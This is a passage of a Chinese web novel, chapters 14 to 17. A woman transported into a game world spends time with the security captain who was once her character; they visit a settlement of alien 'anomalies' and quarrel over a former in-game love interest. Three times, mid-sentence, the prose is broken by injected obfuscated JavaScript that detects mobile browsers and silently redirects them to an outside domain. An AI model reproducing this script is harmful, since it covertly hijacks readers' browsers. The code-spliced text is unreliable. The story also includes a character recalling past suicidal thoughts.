“我确实钻空子了,但是不是想要监视你,是离开你身边太久了,有些担心你,又不想打扰你,所以才偷偷开启了监测权限。碰巧听到你和纳德在聊我,没有忍住,所以讲话了。” 手环那边的人的声音放软,和林她们平日里听到的根本就是两种语气。 李唯一没有辩解,不仅承认了自己的错误,还道出了缘由。 “你原谅我,好吗?乐生。” 撒娇! 这绝对是在撒娇! 林看向纳德。 虽然没有说话,但两个人作为多年的队友,完全可以通过表情将对方的心理猜的八九不离十了。 纳德抱着双臂闭眼点头,表示赞同。 虽然平时的李唯一也是待人彬彬有礼的斯文模样,但很多时候说话都是用词简短的。 外出执勤的时候更甚,往往说一不二,除了必要时下达指令,基本就是沉默,自身还带着股无形的压迫感。 工作时的李唯一和日常生活中的李唯一,已经是判若两人了。 但也有一个共同点,自带着一种疏离感。 并不会与人亲近。 换句话说,是个很有礼貌的活人,但感觉不到多少活人味。 而现在,和李乐生对话的李唯一,对纳德和林来说,犹如被【异常】附体了一般。 “我原谅你了。”李乐生本来就没生气,李唯一也没有逃避错误,她自然大方的接受了对方的道歉。 “也是开了眼了。”林像个螃蟹一样移到纳德身侧,歪头嘴巴凑近纳德耳旁,“平时哪里能见到队长这么耐心的解释一大堆啊?” “还求别人原谅她。” 纳德想啧啧两句,但是忍住了,“热恋期,理解一下吧。” “不过乐生小姐是个人物,你看这【规则】,现在都更新到一百三十条了。她竟然会认真看,还背下来了。”纳德又划动悬浮框,那一条条规则顺势滑到底部,密密麻麻的文字看的人都头疼。 “关了关了,给我关了。”林立马伸出手,将纳德的手环关掉。 当年的考核里就被要求背过【治安官规章】,虽然和手环的规则不是一个章程,但里面也有一部分规章是和手环里的规则重叠的,天知道她当年有多痛苦。 作为一个战斗爽的人,让她背书简直就是一种折磨。 那几百条的规章背的她几乎要对文字过敏了,好长一段时间,她看到文字就想吐。 现在看到那一条条手环的【规则】,瞬间想起了当年的痛苦往事,整个人都不太舒服了。 很是明显的感觉到身边的女人心情烦躁起来了。 纳德闭上嘴,也不敢向对方提出“私自动他手环”的抗议了。 一旁的李唯一和李乐生已经结束了通话。 “李唯一说会在门口等我,我先出去啦。”李乐生回头朝两人摆摆手。 两人同时微笑挥手。 随后看着身材娇小的李乐生一路小跑出了训练室。 “我离开你太久了~”看着黑发女人的身影消失在门口拐角,林忽然发话,语气很是诡异。 “我担心你,又不想打扰你。”纳德面无表情。 林:“碰巧听到你和纳德在聊我~” 纳德:“所以我忍不住讲话了。” 两个人一唱一和间将刚才李唯一的话重复了几句,又沉默了几秒钟。 “队长那是没办法了吧?”林转头,看向纳德。 “那不很明显么。乐生小姐把【手环规则】都给背下来了,她不认错能怎么办?”纳德只觉得李乐生在某种方面也是个恐怖的人。 谁会背说明书啊? 他们虽然记忆力不差,但也懒得去背这玩意啊。 而且还是一字不差原文背诵。 15. 第 15 章 李乐生从训练室出来后,顺着走廊迈入休息大厅。 就看到了穿着制服,脚踩长靴,坐在一张桌子旁的李唯一。 李唯一手里拿着罐红色包装的饮品,上半身挺得笔直,下半身两条无处安放的长腿微微岔开。 她正端详着手里的东西。 李乐生本想开口朝李唯一打招呼,但休息大厅内空旷而安静,她自觉突然大喊可能会吓到其他人,于是刚刚抬起到一半的手又放了下来。 她加快脚步向李唯一的方向跑去。 李唯一却猛然抬起了头,二人四目相对,治安队长却是一张很自然的笑脸。 起身,等着李乐生朝她跑来。 女人跑动的声音很轻,鞋子与明亮干净的地砖碰撞几乎没有太大分贝的声音,显然是克制着自己的动作。 当女人近到眼前时,李唯一朝前迈了一步,另一只空着手拦住了李乐生因为惯性前倾的身体。 李乐生双手抓着李唯一的胳膊,站定。 抬头笑道,“谢谢。大厅的地砖今天有点滑。” 她往后退了两步,从李唯一的身边退去,衣裳自然而然从女人的指尖擦过,连带着触感自然也消失了。 李唯一放下手,背到了身后。 只那只拿着东西的手还展露在李乐生的面前。 “哎?这是什么?”李乐生好奇的问她。 “水蜜桃味的汽水。”女人回答。 并将手里的那罐汽水朝李乐生面前递,“你昨天不是说过吗?在你的世界里,你最喜欢喝水蜜桃味的汽水。” “今天去联邦开完会后,正好在路边的自助售货机里看到了。给你带回来尝尝。” 治安基地里面没多少吃喝玩乐的东西,餐厅的饮食虽然丰富多样,但喝的东西里除了水便是各类的蔬菜果汁。 那些五花八门的饮料、酒水基本是没有的。 想要喝那些个东西的话,就要治安官们自己去买,或者交由后勤部统一采购,到时送到相对应的楼下。 李唯一对于吃喝这方面向来只遵循最基本的生存需要满足,没有额外的口腹之欲。 就连房间里的那两瓶酒,都是安娜塞给她的。 而李乐生却和她相反,李乐生对于生活中的物质享受有一定的追求。 她喜欢吃东西,炸鸡薯条火锅麻辣小龙虾……诸多做法的食物,也喜欢喝很多经过二次加工的饮品,比如奶茶、汽水。 “哇!原来【厄斯星】还有碳酸饮料。”李乐生惊喜于李唯一竟然会把她随口提起的东西记住,并且带了回来。 更惊讶于,科技文明高度发展的【厄斯星】竟然也有这种“垃圾饮品”。 李唯一似是看穿了她内心所想,待李乐生接过汽水后,主动为李乐生解惑,“每个人的追求是不一样的,即便【厄斯星】的道德与文明已经发展的足够高了,但依旧会有人乐于享受空闲的生活。” “不是每个人都能拒绝味蕾的刺激,更何况,糖分自古以来就会使人心情愉悦。” “联邦尊重并包容每个群体的人,在吃穿住行等方面自然也会给予每个人充分但不影响社会安定的自由。” “啪!”易拉罐环被提起,将密封处别开。 伴随着气泡“滋滋滋”的响声,水蜜桃的香味也蔓延开来。 “好喝!”李乐生抿了一小口,眼睛瞬间亮了,“比我家乡那边的还要好喝。” “感觉就是刚摘下来的新鲜水蜜桃在嘴巴里炸开了似的,你知道吗?我们那个世界的水蜜桃汽水,喝起来其实不像水蜜桃,更像桃子。” “喝完后嘴巴里还会留有一定的涩感,而且喝多了会有点齁嗓子。” “但是这个,就像是在喝水蜜桃,只不过多了分气泡感。” 李乐生兴奋的说了一大堆,本来是看着李唯一,之后又回想着记忆中汽水的味道,转述完后还不忘晃晃手中的易拉罐。 “是提取技术和水果种植方面的差别,在整个宇宙时间里,【厄斯星】对你们星球而言,是处于【未来】的,相信在【地球】的以后,也会逐渐发展出与【厄斯星】齐平甚至是超出的科技。” “借你吉言啦!”李乐生眨眨眼,“你说要带我去【异常者安定区】,现在就出发吗?” 她又喝了口汽水。 李唯一的视线却一直落在易拉罐上面。 李乐生不由得看了一眼手中的汽水,再抬头,“你要尝尝吗?” “可以吗?”李唯一礼貌询问。 她并不热衷于这种对味蕾的追求,但是李乐生喝的很开心,她很好奇,让李乐生这样开心的味道究竟有什么魔力。 李乐生点头,“可以是可以,但是……没有多余的杯子。” “两个人喝一罐,有口水。” 女人很是纠结。 李唯一:“是不是我喝了,你就要把剩下的都要交给我了?” 一看李乐生那个欲言又止的小表情,李唯一就猜出对方在想什么了。 李乐生:“……” 被说中了。 “我没有嫌弃你,真的。”李乐生颇有种“此地无银三百两”的慌乱,“真的!我只是接受不了别人的口水,哪怕那个人和我再怎么亲密我也接受不了。” 亲密。李唯一听到了这个词。 “我不是说过我一直母单吗?一个原因是我觉得那些男的都不尊重我,和他们谈恋爱就是找罪受。其实还有一个原因,我特别讨厌……额,舌吻。” 说道【舌吻】两个字的时候,李乐生脸上的表情很是难看,皱起的眉毛像是能夹死一只苍蝇。 “我特别不理解为什么情侣之间会【舌吻】,简直就是两条舌头在搅动对方嘴巴里的唾液。不行我脑子里已有那个画面就想……” 李乐生捂住嘴巴,十分抱歉的看着李唯一。 “我真的没有嫌弃你……你能理解我吗?”闷闷的声音从手掌下传来。 李唯一不由失笑,李乐生那双黑葡萄似的眼睛,圆润清透,乌黑的瞳仁边缘泛着一圈浅褐色,就那样带着歉意,眨巴两下,又盯着她,无辜至极。 任谁被这么盯着,心中都会一软,根本没办法生气,连重话都很难讲出来。 “我理解你,我应该买两罐的。”李唯一抓住李乐生捂着嘴的手,将其放下。 “走吧。” “有多远啊?” “直线距离一点八公里。”治安队长回答,“实际距离三点五公里。” “走着…去吗?” “是啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895988|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的身体数值还没有达标,暂时不能使用时空跃迁。” “没有代步工具吗?”李乐生试探询问。 “【跃迁】就是我们的工具。” “我说的是那种可以在地上跑的有轮子的车啦。” “……我现在买一辆让他们送过来?”沉默过后,治安队长说道。 “不了不了,走吧。反正我今天也没爬楼梯,这几公里就抵消我下午的训练了……没问题吧?”李乐生心里的小算盘打的甚是明白,但还是有点不确定的看向李唯一。 漂亮的治安队长挑了挑眉,敛眸点头,默许了她的小算盘。 李乐生瞬间脚下有劲儿了。 【异常者安定区】是过往的【异常活动】里,那些经受了长时间严格监控被判定没有恶意的【异常者】所生活的地方。 李乐生原本的设想里,以为这个地方,应该是个气氛很严肃,秩序十分严厉的地方。 但跟着李唯一真到了,才发现,这个安定区的生活环境,无论是人文还是自然,都很和谐。 “感觉他们和普通公民没有什么区别啊?”她跟在李唯一身边,观察着周围的环境,发觉这里的……生物们,都挺自由的。 为什么说生物? 因为ta们的形象,大部分都不是人类的形态。 “Ta们与【诺城】的公民一样,拥有着平等的人权,也拥有着相对于【异常者安定区】的政治权利。”李唯一再次充当解说员,“只是Ta们的自由仅局限于这个安定区。” “但是安定区还蛮大的,地图上看不太直观,我本来以为只有小区那么点大点呢。” “当然不可能那么小,这里居住着不同星球不同物种的【异常者】,Ta们各自的星球文化天差地别,都是需要额外的社交空间的,【诺城】对于没有恶意的外来旅客,还是很尊重的。” “更何况,其中有的人也是误入【厄斯星】,Ta们遗失在这个星球,无法回家,本身就已经是一种不幸了。” 李乐生:“阿门。” 李唯一疑惑的看了她一眼。 李乐生:“只是觉得刚刚的你突然有一种圣母玛利亚的慈悲感,所以忍不住进行了一个简短的祷告。” “在我的世界中,有的人信教,玛丽亚就是那个教派的神圣母亲。” 慈悲感吗?李唯一心中摸索着这个词,只觉得有一种奇特的、诡异的情绪蔓延在心中。 还是第一次有人会这样夸赞她。 她再次看向李乐生,女人的注意力已经被不远处身形巨大、拥有着多足长身的一个虫族吸引了。 如果在李乐生眼中,她拥有着这样的优点。 李唯一的睫毛轻颤,垂眸浅笑着,那她愿意成为这样的人。 “李唯一,我得和你说个不礼貌的事儿。”女人伸手抓住她的袖子,踮起脚凑近她。 李唯一识趣的弯下膝盖,让对方的脑袋靠近自己,然后听到李乐生十分小声的,甚至是只用气息在她的耳边传达消息,“ta们都不太符合我的审美。” 说的还挺委婉。李唯一暗笑。 下一秒,女人嘴里的话让李唯一的笑有一瞬间的僵硬。 “托德·奇尔加在这里生活吗?你带我去看看他呗。” 16. 第 16 章 托德·奇尔加。 李唯一几乎已经要忘掉这个人的存在了。 李乐生的突然提起,让她记忆里那个已经蒙尘模糊的身影顿时清晰明了。 “你还记得他啊。” 治安队长的笑容变淡了,但语气仍旧温和。 陈述句,但平静温和的语气里藏着点兴致缺缺的不耐。 不细听的话,根本发现不了她。 “当然记得呀!印象可深了。” 李唯一的笑容更淡了,眼中的烦躁甚是明显。 巧了,李乐生这时候正好没细听。 她正沉浸在有可能见到“初恋”的喜悦中呢。 说是初恋,其实不太对,因为根本没有恋爱。 应该说是一种【首因效应】。 李乐生对于对待自己过去认识的人、看过的剧、玩过的游戏、看过的书、等等,印象最深、记忆最持久的,基本都是刚开始接触的那些瞬间。 就像她已经大学毕业工作了,还能记得高一入学报名那天,她与素未谋面的班主任在正对着学校大门的那栋名为博学楼的教学楼前先碰了面。 她向老师询问高一六班应该往哪走,老师亲自带着她进了教学楼二楼右边转角的教室,随后坐在了教室门口的统计桌后面。 她是第一个到的学生,交了钱签了名字,又和老师聊了会天。 甚至于连聊天的内容她到现在都记得清清楚楚。 同样的,当时在玩《我的人生物语手册》时,除去剧情里偶尔几个非常有感染力的cg外,她记得最清楚的也是刚开始的主线章节和恋爱线的第一个人物。 托德·奇尔加便是她在游戏里遇到的第一个拥有恋爱线的人物。 银发红眸、宽肩窄腰大长腿,五官俊朗线条流畅,声音自然不必多说。 其实在当时的那些帅哥美女角色里面,托德·奇尔加的模样算不上有多突出。 甚至没有李唯一漂亮。 毕竟李乐生捏脸这方面下了大功夫。 但谁让这个角色是恋爱线可攻略角色里出场的第一个人物呢? 李乐生自然记得比较清楚。 刚入大学的她整个人的心智和高中时没什么区别,对于恋爱其实还是挺向往的。 不过她自幼受到的教育并没有鼓励女孩子勇敢追爱这一说,而且常年累月都热衷于学习读书,她压根就没有想要恋爱的对象。 高中那会儿,在同龄的很多人经历早恋、热恋又分手的这三个阶段时。 李乐生只一个劲儿的在读书。 她很难理解身边人为什么可以做到前一天晚上两个人还是保持着社交距离的同学,第二天表了个白就好像解除了某种封印似的、毫无芥蒂的牵手拥抱接吻。 她也无法理解,分手后为什么会要死要活的。 在她的观念里,考试失常发挥比分手可恐怖多了。 高考可是人生大事。 她当时觉得,恋爱是种特别恐怖的东西,至少对高中生来说。 尤其是当她亲眼看到一个学习成绩不错的女孩因为早恋分手,成绩一落千丈的时候。 高中三年,她在整个班上还算是人缘不错的那类好学生。 因为她是班上为数不多的,愿意让别人抄作业的学霸。 整天趴桌上睡觉和她没有过交流的后排体育生们只要开口,她都愿意借出去。 不过也没几个特别亲密的朋友。 大家聊各种八卦娱乐的时候,常常会聚成一个小圈子。 也许是出于对好学生的尊重,似乎早恋八卦这种事情他们觉得李乐生不感兴趣,所以那些小圈子里基本都没有她。 但他们也没有避讳李乐生,整个教室就那么大点儿,聚在一起说八卦被旁边人听到是常有的事。 李乐生倒是蛮喜欢这种状态的。 说真的,她只需要安静学习,每天将作业交出去,老师满意她的安静优秀,同学感谢她的慷慨解囊。 没人过度关注,也没人欺负干扰,实在是一种很棒的状态。 作为旁观者,她听到的、看到的同学们早恋的事其实也挺多的。 无论是男生女生,她都见过因为分手哭的不像样子的,然后他/她们的好兄弟/姐妹们会在一旁安慰主人公。 李乐生有一次忍不住问过同桌,“你怎么知道你喜欢他的?” 同桌怎么回答的来着? 哦。 “心动了就是喜欢啊。” 李乐生沉默。 所以什么是心动? 她确实也因为一个男生心里产生过波动,是一次月考。 历来数学分数居于首位的她那次变成了第二。 第一自然是那个男生。 当时的她接下来的一个星期,只要得空或是心情烦躁,都会忍不住瞅那个男生一眼。 同桌以为她暗恋对方。 但她觉得不太对,因为同桌说过,心动是指看到对方就会开心,对上眼神会害羞,会脸红。 可她没害羞,她满脑子都是被对方反超的那三分,和对自己的质问。 “要是看不到他,你就会想他,想快点见到他,干什么都提不起劲儿,每天上学起床都有劲儿,就想赶紧去学校和他见面。”同桌又说。 李乐生想了一下,她上学本来就很有劲儿,有没有那个男生,她都是热衷于去学校的。 与其他人不同,她本人是很热爱学习,尤其是热爱考试做题。 在她看来,学习就像打游戏,学校就是游戏地图,背书听讲做题是在攒经验练级,考试则是用来突破等级的副本,考完试后的分数就像是战斗副本凹的伤害数字。 十分爽。 至于想见到那个男生,纯纯的就是无稽之谈了。 “我一想起他这次考试比我高了三分,我就浑身难受。学习的干劲儿就特别大。”李乐生回道。 同桌:“……” 对于当时的她来讲,恋爱不是主业。 她和很多人一样,觉得大学才是恋爱的开始。 但是很遗憾,上了大学的李乐生并没有将恋爱付诸于现实行动。 因为现实里的傻屌男实在太多了。仅对她而言。 刚好那时候她接触到了《我的人生物语手册》,托德·奇尔加是第一个带有恋爱线的人物。 游戏与现实最大的区别就是,这个人拥有着超脱凡人的美貌,优美的旁白文本和氛围感十足的音乐会牵动玩家的情绪。 最重要的是,攻略一个角色,就和学习考试一样,都有一种挑战感。 李乐生很有兴趣。 但她的兴趣只存在了几秒钟。 因为托德·奇尔加这个人物,在游戏里是嘴硬毒舌的傲娇属性。 游戏里二人第一次碰面,是【李唯一】高二时期的暑假。 当时李乐生接了一个寄送的任务,主要是医院的文件送到【旧都】外的某个高端公寓。 公寓主人自然就是托德·奇尔加。 她要送的是血包,没错,托德·奇尔加是一个吸血鬼。 两人第一次见面,没有查看医院那方通知的托德·奇尔加却把【李唯一】当成了自我推销的学生妹。 嘴里自然没有什么好话。 “别仗着自己有几分姿色就想投机取巧走捷径。”银发吸血鬼上半身还裸着,只穿了条裤子,双脚赤裸。 那头色泽十分漂亮的长发散漫的披在背后,红色的眸子里是毫无掩饰的倨傲与鄙夷。 随后啪的一下关上了门。 屏幕外的李乐生当时就炸了。 前几秒银发吸血鬼打开门时,那些人物特写、音乐和粉红泡泡等氛围感促进的几丝赛博心动,在此刻荡然无存。 【完了,他似乎误会了。】 【接下来该怎么办呢?】 游戏里的文本给出了两个选项:【再次敲门并解释清楚】or【直接来点铁拳教育吧(温馨提示,此选项需要武力值大于98,否则会导致失败删档重来)】 太巧了。李乐生看着那串红字提示,笑了起来。 她就喜欢练级拉数值,区区98,在她500的分数面前完全不够看。 于是托德·奇尔加被她爆揍了一顿。 当然,是游戏里的李唯一在揍,她只是点了下选项。 随后自然也触发了相应的剧情后续并拿到了第一个恋爱线的成就——【人狠话不多的冷漠女战士】 自此,她点亮了【孤傲强大的救世主】这个成就的一个小碎片。 并且在此后的更多恋爱线中,一如既往的向【救世主】的道路靠近。 李乐生想看看他,纯粹是因为对这个吸血鬼的印象比其他人都深。 而且当时的托德·奇尔加是隐藏身份伪装成普通人生存的,【李唯一】的到来和之后发生的一些剧情暴露了他【异常者】的身份,最终结局是被联邦派了【治安官】将其带走了。 并没有给出抹杀的结局。 今天又来了【异常者安定区】,李乐生忽然联想起来,说不准那个吸血鬼也来这儿了? “我还记得他有一头银色及腰的长发,红色的眼睛在夜晚还发着淡淡的光,而且皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906469|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肤白的离谱……” 李乐生循着印象自言自语似的说着托德·奇尔加的长相,忽然觉得有点不对劲了。 因为身旁那节奏缓慢的脚步声消失了。 李乐生转过身,果然看到李唯一站在后面。 对方双手背在身后,挺直了腰杆,双腿并拢,姿态端正。 太阳照射下,李唯一的长身黑影略有倾斜的落在了李乐生的脚边。 微风掠过的白色短发擦过李唯一的脸颊,在风中飞起又落下的碎发刘海下,背光的那双浅金双眸此刻也染上了一层阴影。 李唯一就那样面无表情且不动声色的盯着李乐生。 李乐生不知为何,心生紧张。 “你记得可真清楚。”李唯一微笑。 但是那笑容没什么温度,十分的不真诚。 李乐生看得清清楚楚。 “没有人提他,也没有见面,可你都能将他的模样说出来,还会脱口而出他的名字。”李唯一慢悠悠的总结着李乐生刚才的行为和语言。 说话轻飘飘的,语气柔和,垂眸之余,似是在回想托德·奇尔加的模样。 再次抬眼,看着李乐生的眼睛,李唯一忽然冷笑了一声。 “怎么就不记得我呢?” 李乐生:“……我记得你呀,只是没认出来。” 她之前明明有解释过。 怎么又生气了?李乐生觉得好冤枉。 李唯一:“是啊,记得我,但是需要我亲自说出自己的名字。我一直保持着你最喜欢的白色短发,站在你的面前,你却认不出我。” “一个托德·奇尔加,不需要见面,你都能说出他的发色和瞳色。” 李乐生此刻一个头两个大。 死嘴!让你整天碎碎念不顾场合,现在出事了吧! 李乐生恨不得当场把自己的嘴缝住。 眼看李唯一不依不饶的样子,李乐生心中升起一股巨大的无力感。 女人索性直接摆烂了。 “那你想怎么办吗?” “我又不是故意的,我考研没考上被家里人奚落,考公都已经面试通过了却因为家人有案底被刷了,面试了一个高薪工作,客户十个里八个是傻屌,上司还要抢我业绩。我自己赚钱都不敢说,谁都能来骂我,过去的那些奖状变成了废纸!” “我本来想向所有人证明我的实力,我想让他们闭上那张只会说‘女孩学习好没什么用,嫁人嫁对了才有用’的嘴,我卯足了劲儿不要命的加班工作赚钱,我忙的连打开手机刷个短视频的空闲时间都没有!” 李乐生本来是想摆烂无病呻吟的,想说她工作后真的太忙了发生了太多事,脑子早就生锈了。 刚穿越过来遇到李唯一是真的脑子短路了啥都想不起来。 她真的不是故意的。 结果说着说着,想起自己过去的那些糟心的经历,情绪完全复现了,最初无奈的语气多了许多怨怼,情绪自然也激动了起来。 “我都活得这么努力这么辛苦了,结果在我爸妈眼里还是个一事无成、好高骛远的废物!是个不嫁人生孩子的不孝女!” “他们就指望着他们那个被学校劝退的儿子干大事!他自己不争气,要去打架赌博,结果我爸妈怪我,说是因为我出生的早,抢走了他的命!” “如果不是我,从小到大学习名列前茅,考上211拿奖学金的人就是我弟弟!要不是我抢了他的命,他就不会进监狱,哈哈哈!你是不是也觉得特别可笑?” “我的努力在他们嘴里不值一提,我努力的成果就用个【命】字轻飘飘的概括了。” “我活的就跟个笑话一样,甚至还不如笑话,笑话还能逗人笑呢,我都没办法逗他们笑。” “你说我怎么办吗?我又不是故意退游的!就算我是故意退游的又怎么了?我当时又不知道你是活生生的人,不知道【厄斯星】是存在的。这个世界对我来说就是一串数据,我根本什么都不知道!” “我就想好好活着,想自由快乐幸福,结果我不自由,也不快乐,更不幸福。” “我活得都想去死了!哪有空关心一串数据啊!” 李乐生吼道。 声音颤抖,沙哑。 过于激动的情绪使得她的呼吸很急促,胸口起伏的力度十分夸张。 她倔强的咬着牙,泛着泪的眼睛瞪得很用力,脖子仰起,想用这样的方式阻止自己落泪。 然而眼皮微动,豆大的泪珠就滚了下来。 李乐生哈了一口气,抹去眼泪。 “靠!”又气的锤了自己大腿一拳。 17. 第 17 章 这桩近乎发泄般的将过去那些糟糕的经历说出来后。 李乐生的情绪又十分迅速的冷静了下来。 虽然呼吸依旧粗重急促,但那也只是过于激动引起的正常生理反应。 她觉得自己真的是个欺软怕硬的坏人。 尤其是看到李唯一那张脸,那张漂亮的脸在听到她这些话后,浮现着难过的神色。 “对不起。”李乐生用手掌再次抹去双眼中的泪,并向李唯一道歉。 “我说话很过分,很不尊重你。”李乐生的嗓子因为刚刚的那一通吼叫实在是不舒服,说上两句就得咳嗽一下。 那些不公平的、令她愤怒的过去压在心里太久了。 几乎成了她的心病。 她很明白这些话应该对着谁说,她应该去控诉、反抗、讨伐的人是她的父母,她应该拼尽全力去撕碎他们那虚妄的“太子梦”。 在过去的很多午夜,她有时候会被困在那些梦魇中,有时候她会因为想起少时那些不公的对待而无法入睡情绪失控。 自杀? 这个词不止一次的出现过,但是李乐生是个胆小鬼。 正如她明明痛恨父母的不公,却依旧懦弱的不敢当面质问,她承担不起对峙之后的结果。 所以她也懦弱的不敢自杀,受伤,无论是哪个部位,无论是大伤小伤,李乐生都很害怕。 身体受到伤害,血肉组织受到破坏,对她而言是很痛的。 幼年时挨的打不计其数,她最了解“痛”这个字,也最畏惧这个字。 “其实我很感谢你,来到【厄斯星】已经半个多月了,是你一直帮助我认识、学习这个星球上的知识,也是你带我认识了林和冬,还有纳德。” “你允许我搬动你沙发的位置去看风景,为了我的身体监督着我的训练,还总是会给我带一些有意思的小玩意或者我喜欢的东西。”李乐生对李唯一那些关心如数家珍。 她吸了吸鼻子,声音中除了愧疚便是感激,“你对我真的很好,比任何人都好。” “我可能真的是个道貌岸然的小人,从小就立志要做一个尊重别人、公平公正的人,但事实上,所谓的【尊重】【公正】这些词,其实就是我给自己贴金。” “我潜意识里好像就明白,你不会生我的气,所以这些恶毒的话全都说给你听,不敢说给真正该听的人。”李乐生烦躁的抓着头发,她觉得自己糟透了。 “对不起,真的很对不起。我自私虚伪,仗着你宽容有教养,所以把自己的坏情绪都给了你。” 她弯腰低头,郑重其事地向李唯一道歉,说完这些话,却仍有一种如鲠在喉的憋闷。 李唯一是个好人。 李乐生很清楚这一点,是个始终如一的好人。 这个女人对待工作认真严苛,闲暇时刻待人处事又细致入微,体态优雅,言语斯文,虽然是头组的治安队长,但对待手下很是宽容,即便是剩下的那几百个【治安官】,李唯一全都能叫得上名字。 不仅如此,她的学识储存更是深不见底,可以说浩瀚如海。 李乐生对于【厄斯星】很多不足的认知,都可以去询问李唯一。 这个人简直是个行走的【百科全书】,她甚至还会去帮助医院实验室充当指导。 尽管李唯一说过,如今的她离不开李乐生当初的培养。 但李乐生很难将功劳揽在自己身上。 游戏一开始,在她初期一直坚持拉数值的时候,其实有过很多红字提示——【阈值崩塌警告】。 当时《我的人生物语手册》打的就是高自由度,也就是说,人物角色有可能因为训练过多导致身体技能受损,严重的话,人物还有可能直接死在训练中。 想要拉数值的话,绝不是和其他游戏一样,只要点个确定就行的事。 更像是一场赌博和计算。 玩家本人要计算游戏角色可承担的训练上限,并要及时给自己的游戏角色补充所需的营养和提供足够的休息时间,但这也只是让角色的数值大概率能提升。 还有一部分概率就是赌。 赌角色能够顺利完成每日的训练,胜利的话便会提升数值,失败的话不仅提升不了还会降低数值。 当初,李乐生不止一次在操控角色去过【副本】拿经验的时收到过【阈值崩塌警告】的提示,这便是系统计算出来的,角色很有可能会因为过度训练负伤。 李乐生有好几次都是选择了继续,她在赌,赌【李唯一】能够顺利通过副本拿到经验。 那时的她想得很简单,不过是游戏嘛,失败了就重来。 又不是真人。 直到她来到了【厄斯星】,与李唯一相处,她才明白缘由。 在她坚持顶着红字提示去训练的时候,赌成功的那些【副本】其实并不是她的运气好,而是李唯一的坚持。 是李唯一强撑着超负荷的身体,即便是四肢发抖发软几乎要站不起来,却还是不放弃,不服输的在战斗。 许多次面临死亡的时候,是她透支自己的身体,让精神力吞噬着身体的血肉用以补给,通过那些副本。 屏幕外的李乐生只能看到【进入副本】【副本已通关】的字样,她并不知道危险重重的副本里,李唯一是在用殊死搏斗。 “这种过度透支的战斗确实很痛苦,但好处更多。我的身体潜力和机能都是在这种状态下一次次突破的,所以才能拥有超凡脱俗的强大精神力,还有这具强壮矫健的身体。而且,到后期的时候,我的身体已经突破了常规上限了,那些副本里的【复制体】对我来说不费吹灰之力就能灭掉。” 当时的李唯一轻描淡写的将她曾经的痛苦略过,只用着她成长后的这些蜕变来安慰李乐生。 李唯一甚至没有抱怨、控诉过一次。 明明她的人生被自己操控着,可是当她们两人相见后,李唯一竟然是高兴的。 李乐生有时候想,如果她是一个游戏角色,被别人操控着去经历九死一生的事。 那么当她遇到那个玩家时,她绝对不可能拥有李唯一这样优秀善良的品质,她绝对要给对方一拳。 李乐生道歉之后,再次直起腰杆,看向李唯一。 她等待着李唯一的答复。 然后她听到李唯一开口,“你误会了。” 女人转头看向了别处,嘴巴却没有停,继续说道,“我并不是个宽容的人,否则的话我也不会因为你提起托德·奇尔加就生气。” “虽然在你看来,我生气的反应并不大。” 李唯一的眼睛微微眯起,眉宇之间都有几分不耐,似乎是看到了不喜欢的人。 她又转回头,抬脚几步走到了李乐生的身边。 这次她没有弯腰屈膝,面对面,居高临下的俯视着女人,“你提起他的时候,从名字到模样都记得清清楚楚,让我误以为你还喜欢他,所以我很生气。” “毕竟你曾经就喜欢过他。”说到这里的时候,李唯一双眸中闪过一丝烦躁。 李乐生愣了愣。 她什么时候喜欢过这个人啊? 拜托,在第一次见面被托德·奇尔加误会的时候,她就对这个角色爱不起来了好吧? 李乐生觉得她简直冤枉。 “你自己说过的,你喜欢他。”在李乐生还在努力回想着游戏里托德·奇尔加那条线里有没有所谓【告白选项】的时候,李唯一却很笃定的开口。 靠!她又自言自语把心里话说出来了。 不仅如此,李唯一的脸还凑到了她眼前,对方站得笔直,凑过来的那张脸居于双眼上方,显得极有压迫感。 李乐生不得不后仰身子。 “我真的不记得有【告白】啊?这个恋爱线我们不是走的孤家寡人风吗?”李乐生说着说着不禁有点心虚,难道她真的在游戏里像托德·奇尔加告白过? 所以李乐生才会生气。 毕竟被逼着向一个不喜欢的人告白,着实是件很屈辱的事。 她想了想,如果自己的身体和嘴巴不受控制的向一个人表达爱意,那真的很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908038|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝望了。 “不,是你自己亲口说过的,他是你的老公。”李唯一说着,手环的悬浮框忽然浮现在身侧。 李乐生讶异的看着:什么时候? 女人将悬浮框固定在身侧,手指在屏幕上疯狂划动点击,不过十秒就调出来了一个信息包。 上面写着【异常声源记录档案】。 打开,又是一长串标题,分别写着不同的日期、地点。 李乐生看到李唯一从中调取了其中一天的声源记录,随后点击了声源文件后方的播放波纹—— 【我天!白毛红眼宽肩窄腰,没有一处是不对我胃口的。我的老公已经出现,怎么能够停滞不前!】 